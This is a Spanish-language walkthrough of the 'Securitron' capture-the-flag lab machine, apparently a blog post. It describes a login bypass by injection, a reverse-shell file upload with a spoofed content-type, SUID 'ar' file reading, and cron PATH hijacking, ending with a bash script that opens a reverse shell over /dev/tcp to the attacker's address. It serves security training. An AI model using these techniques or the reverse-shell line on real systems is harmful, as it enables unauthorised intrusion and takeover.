THL Securitron — Linux

Gm4tsyGm4tsy
3 min read

Para poder hacer uso de esta máquina primero debemos descargar el archivo y así poder desplegar el laboratorio.

Descargamos el archivo de la página https://thehackerslabs.com/

Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos un archivo.

Para desplegar el laboratorio usaremos nuestro hipervisor favorito, así también al ejecutarlo podemos ver que nos indica la dirección IP que tiene la máquina.

Realizamos un ping a la máquina para comprobar la conexión y observamos que sí la tenemos.

Iniciamos un escaneo de puertos y podemos observar varios puertos habilitados.

Volvemos a realizar un escaneo más detallado de los puertos identificados, pero no observamos más información.

Ingresamos la dirección IP en el dominio y podemos observar una página donde ingresar mensajes así como su título que puede ser su DNS y lo agregaremos.

Realizando unas preguntas, ya que podemos ver en la parte superior el nombre del dominio preguntamos por un subdominio que nos indica y el cual agregaremos en nuestra carpeta /etc/hosts.

Nos dirigimos al subdominio y podemos observar que tenemos un navbar interesante.

Ingresamos al admin dashboard y probamos algunas credenciales, pero no logramos ingresar.

Probamos unas inyecciones básicas.

Luego de enviar estamos dentro.

Revisando editamos el perfil y tenemos el campo para subir archivo.

Tenemos un campo para subir archivos, probaremos subiendo una rvshell.

Al enviar no notamos cambios, por ello interceptamos la petición usando Burpsuite y para enviar cambiamos el content-type a image/jpeg.

Antes de enviar el archivo iniciamos el listener.

Luego enviamos el servicio.

Vamos a nuestro listener podemos ver que ya tenemos acceso.

Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos

script /dev/null -c bash

luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty

stty raw -echo; fg
                reset xterm

para obtener más características usamos

export TERM=xterm

para la variable de entorno

echo $SHELL

y para pasar a bash usamos

export SHELL=/bin/bash

para establecer el tamaño adecuado de la consola ingresamos

stty rows 59 cols 236

de esta manera ya nos podemos mover con más libertad en la consola.

Revisando el passwd tenemos solo 2 usuarios. Listando permisos SUID tenemos uno interesante que es el ar y en capabilities no contamos con nada interesante.

Vamos a la página de GTFOBins observamos que podemos emplear ese binario para leer archivos.

Como no sabemos qué archivo leer, probaremos leyendo el archivo id_rsa, pero no es posible.

Leemos el user.txt y casualmente podemos observar que contiene el password. 0KjcFEkuUEXG.

Ingresamos las credenciales y ya somos securitybot.

Realizamos un sudo -l y podemos observar que tenemos el binario ar también para este.

Repetimos los pasos que empleamos en el anterior, pero vemos que no es igual de simple.

Leyendo varios archivos importantes de root. Podemos ver que tenemos el siguiente, en este caso /var/spool/cron/crontabas/root.

Observamos la última línea y está programado para que el archivo que encontramos en el directorio opt se ejecute. Así también llama a date sin una ruta absoluta y nos permitiría realizar un path hijacking. Para aprovecharnos de esto crearemos un archivo en el directorio /home/securitybot/.local/bin con un archivo llamado date con el siguiente contenido y le damos permisos de ejecución.

#!/bin/bash
bash -c '/bin/bash -i >& /dev/tcp/192.168.0.61/1235 0>&1'

Iniciamos nuestro listener.

Esperamos unos segundos y podemos ver que se estableció conexión. De esta manera culminando esta máquina.

0
Subscribe to my newsletter

Read articles from Gm4tsy directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Gm4tsy
Gm4tsy